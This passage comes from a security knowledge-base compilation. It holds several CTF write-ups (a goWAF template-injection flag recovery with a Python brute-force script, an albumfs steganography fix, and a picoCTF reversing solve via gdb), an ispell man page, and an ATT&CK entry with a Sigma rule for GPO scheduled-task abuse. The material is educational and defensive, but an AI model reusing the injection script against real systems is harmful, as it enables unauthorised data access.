09 5f 24 64 ...........]._$d 00000010: 1f 56 34 3e 55 09 46 4e 33 03 0d .V4>U.FN3.. ``` Here's what we get if we encrypt 'z': ```console root@kali:/media/sf_CTFs/appsec/goWAF# curl -s 'https://gowaf.appsecil.ctf.today/blocked' -G --data-urlencode 'incidentID={{Encrypt "z"}}' | grep -Po '(?<=\[ <b>)([^<]+)(?=</b> \])' | base64 -d | xxd -g 1 00000000: 3b ``` And here's what we get if we encrypt 'A': ```console root@kali:/media/sf_CTFs/appsec/goWAF# curl -s 'https://gowaf.appsecil.ctf.today/blocked' -G --data-urlencode 'incidentID={{Encrypt "A"}}' | grep -Po '(?<=\[ <b>)([^<]+)(?=</b> \])' | base64 -d | xxd -g 1 00000000: 00 ``` So 'A' matches our first character of the flag. We can automate this with a Python script: ```python import requests import string import base64 import re OUTPUT_REGEX = re.compile(r'\[ <b>([^<]+)</b> \]') decode_func = base64.b64decode def get_output(command): r = requests.get("https://gowaf.appsecil.ctf.today/blocked", params = {"incidentID": '{{' + command + '}}'}) match = OUTPUT_REGEX.search(r.text) if match: return match.group(1) raise RuntimeError("Can't find output pattern") encoded_flag = get_output('ReadFileEncrypted "flag"') print("Encoded flag: {}".format(encoded_flag)) decoded_flag = decode_func(encoded_flag) known = "" print(f"Recovering output: {known}", end='', flush = True) # Skip '"' and '\' which break the command syntax and are (hopefully) not needed ALPHABET = set(string.ascii_letters + string.digits + string.punctuation) - set('"\\') for i in range(len(known), len(decoded_flag)): for c in ALPHABET: res = get_output(f'Encrypt "{known + c}"') decoded_res = decode_func(res) if decoded_res[i] == decoded_flag[i]: print(c, end = '', flush = True) known += c break print() ``` Output: ```console root@kali:/media/sf_CTFs/appsec/goWAF# python3 solve.py Encoded flag: AAAAAAAAAAAAAA5dCV8kZB9WND5VCUZOMwMN Recovering output: AppSec-IL{G0G0P0w3rR4ng3rs} ``` The flag is `AppSec-IL{G0G0P0w3rR4ng3rs}`. Fun fact: If we XOR the flag with the encrypted output, we get the key: `AppSec-IL{ImNotTheFlag!}`.
sec-knowleage
ispell === 检查文件中出现的拼写错误 ## 补充说明 **ispell命令** 用于检查文件中出现的拼写错误。 ### 语法 ```shell ispell(参数) ``` ### 参数 文件:指定要进行拼写检查的文件。
sec-knowleage
# T1053-002-win-通过GPO计划任务进行大规模的持久性和执行 ## 来自ATT&CK的描述 诸如at和schtasks之类的实用程序可与Windows Task Scheduler一起使用来调度程序或脚本在某日期和时间执行。只要身份认证通过可以使用RPC,并且打开了文件和打印机共享功能,就可以在远程系统上调度任务。在远程系统上调度任务通常需要远程系统管理员群组的成员执行。 攻击者可能会通过任务调度在系统启动时或在计划的基础上执行程序以实现持久性,作为横向移动的一部分进行远程执行,获得系统权限,或者在指定账号的上下文下运行进程。 ## 测试案例 通过Group Policy Management Console (GPMC) 实现计划任务的远程执行; 具体可参考3gstudent大佬的[文章](https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8GPO%E4%B8%AD%E7%9A%84%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E6%89%A7%E8%A1%8C/) [GPO组策略安全](https://www.cnblogs.com/zpchcbd/p/12932181.html) ## 检测日志 windows安全日志 ## 测试复现 暂无 ## 测试留痕 ![5145](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/tRMhZQ.png) ## 检测规则/思路 ```yml title: 通过GPO计划任务进行大规模的持久性和执行 description: 使用GPO计划任务检测横向移动,通常用于大规模部署勒索软件 author: 12306Br0(翻译+测试) date: 2020/06/07 references: - https://twitter.com/menasec1/status/1106899890377052160 - https://www.secureworks.com/blog/ransomware-as-a-distraction tags: - attack.persistence - attack.lateral_movement - attack.t1053-002 logsource: product: windows service: security description: '必须为成功/失败配置高级审核策略设置“对象访问>审核详细文件共享' detection: selection: EventID: 5145 ShareName: \\*\SYSVOL RelativeTargetName: '*ScheduledTasks.xml' Accesses: '*WriteData*' condition: selection falsepositives: - 如果源IP不是localhost,则它非常可疑,最好同时监视对GPO计划任务的本地和远程更改 level: high ``` ## 其他检测思路 通过命令行调用来监控常用实用程序的计划任务创建。可以在安装新软件期间或通过系统管理功能创建合法的计划任务。监控Windows 10中svchost.exe 和旧版Windows 中Windows任务计划程序 taskeng.exe的进程执行情况。如果计划任务不用于持久性,则攻击者很可能在操作完成时删除该任务。监控%systemroot%\System32\Tasks中的Windows任务计划程序仓库来查看是否有与已知软件、补丁周期等不相关的计划任务的更改条目。不应孤立地看待数据和事件,而应将其视为可能导致其他活动的一系列行为中的一部分,例如为命令与控制而建立网络连接,通过发现了解环境的详细信息,以及横向移动。 通过在事件日志服务中启用“Microsoft-Windows-TaskScheduler / Operational”设置的方式来为计划任务的创建和更改配置事件日志功能。然后会在计划任务活动中记录如下事件: · Windows 7,Server 2008 R2上的事件106 – 已注册计划任务 · Windows 7,Server 2008 R2上的事件140/Windows 10,Server 2016上的事件4702 – 已更新计划任务 · Windows 7,Server 2008 R2上的事件141/Windows 10,Server 2016上的事件4699 – 已删除计划任务 · Windows 10,Server 2016上的事件4698 – 已创建计划任务 · Windows 10,Server 2016上的事件4700 – 已启用计划任务 · Windows 10,Server 2016上的事件4701 – 已禁用计划任务 也可使用Sysinternals Autoruns等工具来检测是否有旨在获得持久性的系统更改,包括列出当前的计划任务。查找与已知软件、补丁周期等不相关的任务更改。当与历史数据进行比较时,通过计划任务执行的可疑程序可能会显示为以前从未见过的异常进程。 监控可用于创建任务的进程和命令行参数。带内置功能的远程访问工具可以直接与Windows API交互,在典型的系统实用程序之外执行这些功能。Windows系统管理工具(如Windows Management Instrumentation和PowerShell)也可用来创建任务,因此可能还需要配置日志功能来收集适当的数据。 ## 参考推荐 MITRE-ATT&CK-T1053-002 <https://attack.mitre.org/techniques/T1053/002/> 利用GPO中的计划任务实现远程执行 <http://app.myzaker.com/news/article.php?pk=5c19b0d477ac64586a2bf889> GPO组策略安全 <https://www.cnblogs.com/zpchcbd/p/12932181.html>
sec-knowleage
# Secrets (Forensics, 304p, 10 solved) In the challenge we get an archive with a bunch of PNG files. Initial analysis shows only 2 strange strings: 1. `no SecDrive` 2. base64 encoded `the password is: atalmatal` After some extensive googling we finally found https://github.com/mgeitz/albumfs which seemed to fit our task perfectly. We tried using any of the files as `root` and for `amy.png` with drive name `SecDrive` and password `atalmatal` we managed to get appropriate response that in fact there are 70 bytes stored over 2 image files. Unfortunately the tool crashed with segfault without giving us the flag. We debugged it for a while until we found the reason: https://github.com/mgeitz/albumfs/blob/master/afs.c#L562 ```c png_data *new_img = malloc(sizeof(png_data)); // 1 char tmp[strlen(new_img->md5)]; // 2 readBytes((void *) new_img->md5, sizeof(new_img->md5), offset); offset = offset - sizeof(new_img->md5); while ((dir = readdir(FD)) != NULL) { memset(tmp, 0, sizeof(new_img->md5)); // 3 ``` Author of the library mallocs some memory (1) and then creates a temporary stack based buffer, but size of this buffer is calculated via `strlen(new_img->md5)` (2). Strlen called on just allocated memory! Finally author zeros this temporary buffer (3) this time using proper `sizeof(new_img->md5)`. As a result, unless you're very lucky, this causes stack smashing and application segfaults. In order to solve the challenge we simply set the tmp buffer to have some reasonably large static size. Once we mount the drive we get `ASIS{21a0fc15ce259585afd14ac1210fcdd2162cd897}`
sec-knowleage
# not crypto Reverse Engineering, 150 points ## Description > there's crypto in here but the challenge is not crypto... 🤔 A binary file was attached. ## Solution Let's run the attached file: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/not_crypto] └─$ ./not-crypto I heard you wanted to bargain for a flag... whatcha got? test test2 test3 aaaaaaaaaaaaaaaaaaaaaaaaaaaa bbbbbbbbbbbbbbbbbbbbbbbbbbbbb Nope, come back later ``` The program requests user input. After entering multiple inputs, we get an error message that our input is incorrect. Let's check the decompiled output in Ghidra. The main function looks like a mess: ```c int FUN_00101070(void) { byte *pbVar1; undefined auVar2 [16]; undefined auVar3 [16]; undefined auVar4 [16]; undefined auVar5 [16]; undefined auVar6 [16]; undefined auVar7 [16]; undefined auVar8 [16]; byte bVar9; byte bVar10; byte bVar11; byte bVar12; byte bVar13; byte bVar14; byte bVar15; byte bVar16; byte bVar17; byte bVar18; uint uVar19; uint6 uVar20; unkuint10 Var21; undefined auVar22 [12]; undefined auVar23 [14]; int iVar24; undefined4 uVar25; byte *pbVar26; byte bVar27; byte bVar28; byte bVar29; long lVar30; byte bVar31; byte bVar32; byte bVar33; ulong uVar34; byte bVar35; uint uVar36; ulong uVar37; byte bVar38; byte bVar39; byte bVar40; byte bVar41; byte bVar42; byte bVar43; byte bVar44; byte bVar45; byte *pbVar46; long in_FS_OFFSET; byte local_1fe; byte local_1fd; uint local_1fc; uint local_1f8; byte local_1f4; byte local_1f3; byte local_1f2; byte local_1f1; byte local_1f0; byte local_1ef; byte local_1ee; byte local_1ed; byte local_1ec; byte *local_1e8; undefined user_input [64]; undefined local_158 [16]; byte local_148 [144]; byte local_b8; byte local_b7; byte local_b6; byte local_b5; byte local_b4; byte local_b3; byte local_b2; byte local_b1; byte local_b0; byte local_af; byte local_ae; byte local_ad; byte local_ac; byte local_ab; byte local_aa; byte local_a9; undefined local_a8 [3]; undefined auStack165 [2]; undefined auStack163 [2]; undefined uStack161; undefined8 uStack160; undefined local_98 [16]; undefined local_88 [16]; undefined local_78 [16]; undefined local_68 [16]; undefined local_58 [16]; byte local_48 [8]; long local_40; local_40 = *(long *)(in_FS_OFFSET + 0x28); puts("I heard you wanted to bargain for a flag... whatcha got?"); auVar7 = vmovdqa_avx(_DAT_001021a0); bVar40 = 0x98; bVar32 = 0x32; bVar27 = 0x6c; bVar28 = 0x1c; local_158 = vmovdqa_avx(auVar7); uVar37 = 4; pbVar26 = local_158; do { if ((uVar37 & 3) == 0) { uVar34 = (ulong)bVar32; bVar32 = (&DAT_001020a0)[bVar27]; bVar27 = (&DAT_001020a0)[bVar28]; bVar28 = (&DAT_001020a0)[bVar40]; bVar40 = (&DAT_001020a0)[uVar34] ^ (&DAT_00102080)[uVar37 >> 2]; } bVar40 = bVar40 ^ *pbVar26; uVar36 = (int)uVar37 + 1; uVar37 = (ulong)uVar36; bVar32 = bVar32 ^ pbVar26[1]; bVar27 = bVar27 ^ pbVar26[2]; bVar28 = bVar28 ^ pbVar26[3]; pbVar26[0x10] = bVar40; pbVar26[0x11] = bVar32; pbVar26[0x12] = bVar27; pbVar26[0x13] = bVar28; pbVar26 = pbVar26 + 4; } while (uVar36 != 0x2c); auVar7 = vmovdqa_avx(_DAT_001021b0); _local_a8 = vmovdqa_avx(auVar7); fread(user_input,1,0x40,stdin); auVar7 = vmovdqa_avx(_DAT_001021c0); local_88 = vmovdqa_avx(auVar7); auVar7 = vmovdqa_avx(_DAT_001021d0); local_78 = vmovdqa_avx(auVar7); auVar7 = vmovdqa_avx(_DAT_001021e0); local_68 = vmovdqa_avx(auVar7); auVar7 = vmovdqa_avx(_DAT_001021f0); local_58 = vmovdqa_avx(auVar7); iVar24 = 0x10; local_1e8 = local_88; do { if (iVar24 == 0x10) { auVar7 = vmovdqa_avx(_local_a8); local_1f8 = local_1f8 & 0xffffff00 | (uint)(byte)(&DAT_001020a0)[local_158[0] ^ local_a8[0]]; uVar25 = vpextrb_avx(auVar7,4); local_1fc = local_1fc & 0xffffff00 | (uint)(byte)(&DAT_001020a0)[(byte)((byte)uVar25 ^ local_158[4])]; local_1ee = (&DAT_001020a0)[local_158[8] ^ (byte)uStack160]; uVar25 = vpextrb_avx(auVar7,0xc); local_1ef = (&DAT_001020a0)[(byte)((byte)uVar25 ^ local_158[12])]; uVar25 = vpextrb_avx(auVar7,1); local_1f4 = (&DAT_001020a0)[(byte)((byte)uVar25 ^ local_158[1])]; uVar25 = vpextrb_avx(auVar7,5); local_1fd = (&DAT_001020a0)[(byte)((byte)uVar25 ^ local_158[5])]; uVar25 = vpextrb_avx(auVar7,9); local_1fe = (&DAT_001020a0)[(byte)((byte)uVar25 ^ local_158[9])]; uVar25 = vpextrb_avx(auVar7,0xd); local_1f0 = (&DAT_001020a0)[(byte)((byte)uVar25 ^ local_158[13])]; uVar25 = vpextrb_avx(auVar7,2); bVar32 = (&DAT_001020a0)[(byte)((byte)uVar25 ^ local_158[2])]; uVar25 = vpextrb_avx(auVar7,6); local_1ec = (&DAT_001020a0)[(byte)((byte)uVar25 ^ local_158[6])]; uVar25 = vpextrb_avx(auVar7,10); local_1f1 = (&DAT_001020a0)[(byte)((byte)uVar25 ^ local_158[10])]; uVar25 = vpextrb_avx(auVar7,0xe); local_1f2 = (&DAT_001020a0)[(byte)((byte)uVar25 ^ local_158[14])]; uVar25 = vpextrb_avx(auVar7,3); local_1ed = (&DAT_001020a0)[(byte)((byte)uVar25 ^ local_158[3])]; uVar25 = vpextrb_avx(auVar7,7); bVar28 = (&DAT_001020a0)[(byte)((byte)uVar25 ^ local_158[7])]; uVar25 = vpextrb_avx(auVar7,0xb); bVar27 = (&DAT_001020a0)[(byte)((byte)uVar25 ^ local_158[11])]; uVar25 = vpextrb_avx(auVar7,0xf); local_1f3 = (&DAT_001020a0)[(byte)((byte)uVar25 ^ local_158[15])]; pbVar26 = local_148; do { bVar41 = local_1fd ^ (byte)local_1f8; bVar31 = local_1f3 ^ local_1f1; bVar43 = bVar41 ^ bVar31; bVar35 = local_1fe ^ (byte)local_1fc; bVar38 = local_1ed ^ local_1f2; bVar39 = bVar35 ^ bVar38; bVar44 = local_1ed ^ (byte)local_1fc; bVar12 = bVar28 ^ bVar32; bVar10 = local_1f0 ^ local_1ee; bVar13 = local_1ee ^ bVar28; bVar42 = bVar10 ^ bVar12; bVar14 = local_1ec ^ bVar27; bVar9 = local_1ec ^ local_1f4; bVar11 = local_1f4 ^ local_1ef; bVar15 = local_1ef ^ bVar27; bVar16 = bVar11 ^ bVar14; bVar45 = pbVar26[7] ^ bVar39 ^ local_1ed; bVar17 = bVar32 ^ bVar42 ^ pbVar26[10]; bVar33 = pbVar26[0xd] ^ bVar16 ^ local_1f4; bVar29 = pbVar26[0xe] ^ bVar16 ^ local_1ec; bVar18 = bVar27 ^ pbVar26[0xf] ^ bVar16; bVar40 = *pbVar26; uVar36 = local_1f8 & 0xffffff00; local_1f8 = uVar36 | (byte)(&DAT_001020a0) [(byte)((byte)local_1f8 ^ bVar40 ^ bVar43 ^ ((char)bVar41 >> 7) * -0x1b ^ bVar41 * '\x02')]; pbVar1 = pbVar26 + 4; uVar19 = local_1fc & 0xffffff00; local_1fc = uVar19 | (byte)(&DAT_001020a0) [(byte)(*pbVar1 ^ bVar39 ^ (byte)local_1fc ^ ((char)bVar35 >> 7) * -0x1b ^ bVar35 * '\x02')]; local_1ee = (&DAT_001020a0) [(byte)(pbVar26[8] ^ bVar42 ^ local_1ee ^ ((char)bVar10 >> 7) * -0x1b ^ bVar10 * '\x02')]; local_1ef = (&DAT_001020a0) [(byte)(bVar16 ^ pbVar26[0xc] ^ local_1ef ^ bVar11 * '\x02' ^ ((char)bVar11 >> 7) * -0x1b)]; local_1f4 = (&DAT_001020a0) [(byte)(pbVar26[1] ^ bVar43 ^ local_1fd ^ ((char)(local_1f1 ^ local_1fd) >> 7) * -0x1b ^ (local_1f1 ^ local_1fd) * '\x02')]; local_1fd = (&DAT_001020a0) [(byte)(pbVar26[5] ^ bVar39 ^ local_1fe ^ (local_1f2 ^ local_1fe) * '\x02' ^ ((char)(local_1f2 ^ local_1fe) >> 7) * -0x1b)]; local_1fe = (&DAT_001020a0) [(byte)(local_1f0 ^ bVar42 ^ pbVar26[9] ^ (local_1f0 ^ bVar32) * '\x02' ^ ((char)(local_1f0 ^ bVar32) >> 7) * -0x1b )]; local_1f0 = (&DAT_001020a0) [((uint)(bVar9 >> 7) * 0x1b ^ (uint)bVar9 + (uint)bVar9 ^ (uint)bVar33) & 0xff]; pbVar46 = pbVar26 + 0x10; bVar32 = (&DAT_001020a0) [(byte)(pbVar26[2] ^ bVar43 ^ local_1f1 ^ ((char)bVar31 >> 7) * -0x1b ^ bVar31 * '\x02')]; local_1ec = (&DAT_001020a0) [(byte)(local_1f2 ^ pbVar26[6] ^ bVar39 ^ bVar38 * '\x02' ^ ((char)bVar38 >> 7) * -0x1b)]; local_1f1 = (&DAT_001020a0) [((uint)bVar12 * 2 ^ (uint)(bVar12 >> 7) * 0x1b ^ (uint)bVar17) & 0xff]; local_1f2 = (&DAT_001020a0) [((uint)bVar14 * 2 ^ (uint)(bVar14 >> 7) * 0x1b ^ (uint)bVar29) & 0xff]; bVar27 = (&DAT_001020a0) [((uint)(bVar13 >> 7) * 0x1b ^ (uint)bVar13 * 2 ^ (uint)(byte)(bVar28 ^ bVar42 ^ pbVar26[0xb])) & 0xff]; local_1ed = (&DAT_001020a0) [(byte)(pbVar26[3] ^ bVar43 ^ local_1f3 ^ (local_1f3 ^ (byte)local_1f8) * '\x02' ^ ((char)(local_1f3 ^ (byte)local_1f8) >> 7) * -0x1b)]; bVar28 = (&DAT_001020a0)[(byte)(bVar45 ^ ((char)bVar44 >> 7) * -0x1b ^ bVar44 * '\x02')]; local_1f3 = (&DAT_001020a0) [((uint)(bVar15 >> 7) * 0x1b ^ (uint)bVar15 * 2 ^ (uint)bVar18) & 0xff]; pbVar26 = pbVar46; } while (&local_b8 != pbVar46); local_1f8 = uVar36 | (&DAT_001020a0) [(byte)((byte)local_1f8 ^ bVar40 ^ bVar43 ^ ((char)bVar41 >> 7) * -0x1b ^ bVar41 * '\x02')] ^ local_b8; auVar7 = vmovd_avx((uint)(bVar32 ^ local_ae)); local_1fc = uVar19 | local_1f2 ^ local_b2; auVar2 = vmovd_avx((uint)(local_1ec ^ local_aa)); auVar3 = vmovd_avx((uint)(local_1f1 ^ local_b6)); auVar8 = vpinsrb_avx(auVar7,(uint)(local_ad ^ bVar28),1); auVar7 = vmovd_avx((uint)((&DAT_001020a0) [(byte)(*pbVar1 ^ bVar39 ^ (byte)local_1fc ^ ((char)bVar35 >> 7) * -0x1b ^ bVar35 * '\x02')] ^ local_b4)); lVar30 = 0xf; auVar4 = vmovd_avx((uint)(local_1ee ^ local_b0)); auVar5 = vmovd_avx(local_1f8); auVar6 = vmovd_avx(local_1fc); auVar3 = vpinsrb_avx(auVar3,(uint)(local_1f3 ^ local_b5),1); auVar5 = vpinsrb_avx(auVar5,(uint)(local_1fd ^ local_b7),1); auVar4 = vpinsrb_avx(auVar4,(uint)(local_1f0 ^ local_af),1); auVar5 = vpunpcklwd_avx(auVar5,auVar3); auVar7 = vpinsrb_avx(auVar7,(uint)(local_1fe ^ local_b3),1); auVar3 = vpinsrb_avx(auVar6,(uint)(local_1ed ^ local_b1),1); auVar4 = vpunpcklwd_avx(auVar4,auVar8); auVar3 = vpunpcklwd_avx(auVar7,auVar3); auVar7 = vmovd_avx((uint)(local_1ef ^ local_ac)); auVar3 = vpunpckldq_avx(auVar5,auVar3); auVar7 = vpinsrb_avx(auVar7,(uint)(local_1f4 ^ local_ab),1); auVar2 = vpinsrb_avx(auVar2,(uint)(bVar27 ^ local_a9),1); auVar7 = vpunpcklwd_avx(auVar7,auVar2); auVar7 = vpunpckldq_avx(auVar4,auVar7); auVar7 = vpunpcklqdq_avx(auVar3,auVar7); local_98 = vmovdqa_avx(auVar7); if (uStack160._7_1_ == -1) { _local_a8 = _local_a8 & (undefined [16])0xffffffffffffffff; lVar30 = 0xe; uStack160._7_1_ = uStack160._6_1_; if (uStack160._6_1_ == -1) { auVar23 = _local_a8; _local_a8 = ZEXT1415(_local_a8); lVar30 = 0xd; uStack160._7_1_ = uStack160._5_1_; if (uStack160._5_1_ == -1) { _local_a8 = _local_a8 & (undefined [14])0xffffffffffffffff; _local_a8 = CONCAT214(uStack160._6_2_,auVar23) & (undefined [16])0xffffffffffffffff; lVar30 = 0xc; uStack160._7_1_ = uStack160._4_1_; if (uStack160._4_1_ == -1) { auVar22 = _local_a8; _local_a8 = ZEXT1213(_local_a8); lVar30 = 0xb; uStack160._7_1_ = uStack160._3_1_; if (uStack160._3_1_ == -1) { _local_a8 = _local_a8 & (undefined [12])0xffffffffffffffff; _local_a8 = CONCAT412(uStack160._4_4_,auVar22) & (undefined [16])0xffffffffffffffff ; lVar30 = 10; uStack160._7_1_ = uStack160._2_1_; if (uStack160._2_1_ == -1) { Var21 = _local_a8; _local_a8 = ZEXT1011(_local_a8); lVar30 = 9; uStack160._7_1_ = uStack160._1_1_; if (uStack160._1_1_ == -1) { _local_a8 = _local_a8 & 0xffffffffffffffff; _local_a8 = CONCAT610(uStack160._2_6_,Var21) & (undefined [16])0xffffffffffffffff; lVar30 = 8; uStack160._7_1_ = (byte)uStack160; if ((byte)uStack160 == -1) { uVar37 = _local_a8; _local_a8 = (unkuint9)_local_a8; lVar30 = 7; uStack160._7_1_ = uStack161; if (uStack161 == -1) { _local_a8 = _local_a8 & 0xffffffffffffff; _local_a8 = CONCAT88(uStack160,uVar37) & (undefined [16])0xffffffffffffffff ; lVar30 = 6; uStack160._7_1_ = auStack163[1]; if (auStack163[1] == -1) { uVar20 = _local_a8; _local_a8 = (uint7)_local_a8; lVar30 = 5; uStack160._7_1_ = auStack163[0]; if (auStack163[0] == -1) { _local_a8 = _local_a8 & 0xffffffffff; _local_a8 = CONCAT106(stack0xffffffffffffff5e,uVar20) & (undefined [16])0xffff00ffffffffff; lVar30 = 4; uStack160._7_1_ = auStack165[1]; if (auStack165[1] == -1) { uVar36 = _local_a8; _local_a8 = (uint5)_local_a8; lVar30 = 3; uStack160._7_1_ = auStack165[0]; if (auStack165[0] == -1) { _local_a8 = _local_a8 & 0xffffff; _local_a8 = CONCAT124(stack0xffffffffffffff5c,uVar36) & (undefined [16])0xffffffff00ffffff; lVar30 = 2; uStack160._7_1_ = local_a8[2]; if (local_a8[2] == -1) { lVar30 = 1; uStack160._7_1_ = local_a8[1]; if (local_a8[1] == -1) { _local_a8 = CONCAT142(stack0xffffffffffffff5a,local_a8._0_2_) & (undefined [16])0xffffffffffff00ff; lVar30 = 0; uStack160._7_1_ = local_a8[0]; if (local_a8[0] == -1) { _local_a8 = ZEXT1416(stack0xffffffffffffff5a) << 0x10 & (undefined [16])0xffffffffffff0000; iVar24 = 0; goto LAB_00101385; } } } } } } } } } } } } } } } } local_a8[lVar30] = uStack160._7_1_ + '\x01'; iVar24 = 0; } LAB_00101385: lVar30 = (long)iVar24; iVar24 = iVar24 + 1; *local_1e8 = *local_1e8 ^ local_98[lVar30]; local_1e8 = local_1e8 + 1; if (local_48 == local_1e8) { iVar24 = memcmp(local_88,user_input,0x40); if (iVar24 == 0) { puts("Yep, that\'s it!"); } else { iVar24 = 1; puts("Nope, come back later"); } if (local_40 == *(long *)(in_FS_OFFSET + 0x28)) { return iVar24; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); } } while( true ); } ``` However, we do see two interesting things in this function, without trying to reverse every line and line. The first thing is that it accepts `0x40` bytes from the user: `fread(user_input,1,0x40,stdin);`. And the second is how it knows if the input is correct: ```c iVar24 = memcmp(local_88,user_input,0x40); if (iVar24 == 0) { puts("Yep, that\'s it!"); } ``` So, the most trivial thing we can do is set a breakpoint at the `memcmp` and see what's being compared to what. Trying to add a breakpoint at `memcmp` and run the program, we don't seem to hit it. So let's take it slower. After opening the program with `gdb` again, we can execute `starti` to break at the first instruction of a program’s execution and then use `vmmap` to see the memory map: ``` gef> vmmap [ Legend: Code | Heap | Stack ] Start End Offset Perm Path 0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /media/sf_CTFs/pico/not_crypto/not-crypto 0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /media/sf_CTFs/pico/not_crypto/not-crypto 0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /media/sf_CTFs/pico/not_crypto/not-crypto 0x0000555555557000 0x0000555555559000 0x0000000000002000 rw- /media/sf_CTFs/pico/not_crypto/not-crypto 0x00007ffff7fcc000 0x00007ffff7fd0000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd0000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so 0x00007ffff7fd3000 0x00007ffff7ff3000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.31.so 0x00007ffff7ff3000 0x00007ffff7ffb000 0x0000000000021000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so 0x00007ffff7ffc000 0x00007ffff7ffe000 0x0000000000029000 rw- /usr/lib/x86_64-linux-gnu/ld-2.31.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] ``` We can see that our address space starts at `0x0000555555554000`. We can rebase Ghidra to use the same base address (`Window` -> `Memory Map` -> Home Icon) so that's it's easier to get oriented. Now, we see in Ghidra that `memcmp` is called here: ```assembly 5555555553aa 48 8b 74 MOV RSI,qword ptr [RSP + local_1c8] 24 40 5555555553af ba 40 00 MOV EDX,0x40 00 00 5555555553b4 48 8b 7c MOV RDI,qword ptr [RSP + local_1c0] 24 48 5555555553b9 e8 a2 fc CALL memcmp int memcmp(void * __s1, void * _ ff ff 5555555553be 41 89 c4 MOV R12D,EAX 5555555553c1 85 c0 TEST EAX,EAX ``` So, let's set a breakpoint at `0x5555555553b9` by executing `b *0x5555555553b9`. We run the program, enter some input and hit: ``` gef> r Starting program: /media/sf_CTFs/pico/not_crypto/not-crypto I heard you wanted to bargain for a flag... whatcha got? aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Breakpoint 1, 0x00005555555553b9 in ?? () [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────$rax : 0x10 $rbx : 0x00007fffffffe840 → 0x00007fffffffe867 → 0x00555555555c7000 $rcx : 0xa4 $rdx : 0x40 $rsp : 0x00007fffffffe680 → 0x0000000000000000 $rbp : 0xa1 $rsi : 0x00007fffffffe6f0 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]" $rdi : 0x00007fffffffe800 → "picoCTF{c0mp1l3r_0pt1m1z4t10n_15_pur3_w1z4rdry_but[...]" $rip : 0x00005555555553b9 → call 0x555555555060 <memcmp@plt> $r8 : 0xba $r9 : 0x96 $r10 : 0xf0 $r11 : 0x6a $r12 : 0x97 $r13 : 0x73 $r14 : 0xf9 $r15 : 0x3a $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007fffffffe680│+0x0000: 0x0000000000000000 ← $rsp 0x00007fffffffe688│+0x0008: 0x000000c7e1530000 0x00007fffffffe690│+0x0010: 0x0c0c21f9000000cd 0x00007fffffffe698│+0x0018: 0xea97bc0c97f759d4 0x00007fffffffe6a0│+0x0020: 0x00007fffffffe840 → 0x00007fffffffe867 → 0x00555555555c7000 0x00007fffffffe6a8│+0x0028: 0xb4a0926e3f652ca3 0x00007fffffffe6b0│+0x0030: 0x00007fffffffe840 → 0x00007fffffffe867 → 0x00555555555c7000 0x00007fffffffe6b8│+0x0038: 0x00007fffffffe7d0 → 0x6ecb6adbc09a121a ─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x5555555553aa mov rsi, QWORD PTR [rsp+0x40] 0x5555555553af mov edx, 0x40 0x5555555553b4 mov rdi, QWORD PTR [rsp+0x48] ●→ 0x5555555553b9 call 0x555555555060 <memcmp@plt> ↳ 0x555555555060 <memcmp@plt+0> jmp QWORD PTR [rip+0x2fca] # 0x555555558030 <memcmp@got.plt> 0x555555555066 <memcmp@plt+6> push 0x3 0x55555555506b <memcmp@plt+11> jmp 0x555555555020 0x555555555070 push r15 0x555555555072 lea rdi, [rip+0xf8f] # 0x555555556008 0x555555555079 push r14 ─────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────memcmp@plt ( $rdi = 0x00007fffffffe800 → "picoCTF{c0mp1l3r_0pt1m1z4t10n_15_pur3_w1z4rdry_but[...]", $rsi = 0x00007fffffffe6f0 → "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]", $rdx = 0x0000000000000040 ) ─────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "not-crypto", stopped 0x5555555553b9 in ?? (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x5555555553b9 → call 0x555555555060 <memcmp@plt> [#1] 0x7ffff7e15d0a → __libc_start_main(main=0x555555555070, argc=0x1, argv=0x7fffffffe978, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe968) [#2] 0x555555555c9e → hlt ``` We can see part the flag in `$rdi`, but the value is cut. Let's fully print it: ``` gef> printf "%s", $rdi picoCTF{c0mp1l3r_0pt1m1z4t10n_15_pur3_w1z4rdry_but_n0_pr0bl3m?} ```
sec-knowleage
